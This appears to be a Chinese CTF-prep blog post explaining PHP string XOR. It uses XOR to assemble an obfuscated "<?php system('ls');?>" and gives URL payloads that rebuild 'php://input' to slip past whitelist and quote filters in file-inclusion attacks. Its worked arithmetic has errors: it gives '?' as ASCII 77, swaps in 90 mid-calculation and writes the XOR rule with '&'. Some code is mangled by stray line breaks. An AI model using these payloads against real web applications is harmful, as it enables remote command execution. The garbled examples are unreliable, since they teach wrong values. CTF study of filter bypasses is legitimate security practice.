PHP异或

PHP异或流程:

在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。

异或运算法则:

0&0=0;1&1=0;0&1=1;1&0=1
两个二进制数相同时,异或为0,不同为1

例:php中的字符串A和字符串?


echo "A"^"?";
//输出:~
/*
(1)
A的ASCII值:65
?的ASCII值:77
(2)
65转为二进制:1000001
90转为二进制:0111111
(3)
二进制异或结果:1111110
二进制转为ASCII:126
ASCII转为字符串:~
*/
?>

利用异或制作php执行代码:


echo ("<"^"a")."
"
; echo ("?"^"d")."
"
; echo ("p"^"1")."
"
; echo ("h"^"1")."
"
; echo ("p"^"1")."
"
; echo (" "^"a")."
"
; echo ("s"^"1")."
"
; echo ("y"^"1")."
"
; echo ("s"^"2")."
"
; echo ("t"^"1")."
"
; echo ("e"^"1")."
"
; echo ("m"^"6")."
"
; echo ("("^"a")."
"
; echo ("'"^"a")."
"
; echo ("l"^"1")."
"
; echo ("s"^"1")."
"
; echo ("'"^"a")."
"
; echo (")"^"a")."
"
; echo (";"^"a")."
"
; echo ("?"^"b")."
"
; echo (">"^"c")."
"
; echo "
"
; echo ("]"^"a")."
"
; echo ("["^"d")."
"
; echo ("A"^"1")."
"
; echo ("Y"^"1")."
"
; echo ("A"^"1")."
"
; echo ("A"^"a")."
"
; echo ("B"^"1")."
"
; echo ("H"^"1")."
"
; echo ("A"^"2")."
"
; echo ("E"^"1")."
"
; echo ("T"^"1")."
"
; echo ("["^"6")."
"
; echo ("I"^"a")."
"
; echo ("F"^"a")."
"
; echo ("]"^"1")."
"
; echo ("B"^"1")."
"
; echo ("F"^"a")."
"
; echo ("H"^"a")."
"
; echo ("Z"^"a")."
"
; echo ("]"^"b")."
"
; echo ("]"^"c")."
"
; /*输出 ] [ A Y A A B H A E T [ I F ] B F H Z ] ] < ? p h p s y s t e m ( ' l s ' ) ; ? > */ echo ("AYAABHAET[IF]BFHZ]]"^"ad111a112116aa11aaabc"); //没有输出,因为是代码,已经执行了,但var_dump()会显示有21个字符,或者两边都删除前两位,即可看到值 ?>

制作时,^左边为我们想要的php字符,右边可设置1~9/a-z/A-Z,只要得到异或出来的值即可,之后将得到的值替换原来^左边的值,再次异或,即为你想要的php字符。如上面的"<"^“a”,异或后的值为],再将原来的<替换为],"]"^"a"的结果为<,所以我们绕过时,可以使用异或来得到我们想要的值

打CTF时,若遇到白名单过滤,但没有过滤\^,可以使用该方法绕过,例如:http://x.x.x.x/?page=php://input,如果目标过滤:和/时这时,就可以使用http://x.x.x.x/?page=php"[NN"^"aaa"input,这里使用"[NN"^"aaa"异或后的值即表示被过滤的://,但需要注意的是,目标不能同时都过滤单双引号
但我们可以拼凑使得异或两边的都是英文字母,这样就不需要加单或双引号例:

echo (@AAA^@qwe);
//输出06$

到时候就可以也绕过单双引号,payload类似http://x.x.x.x/?page=@xx^@xx这样就可以了

你可能感兴趣的:(CTF储备知识)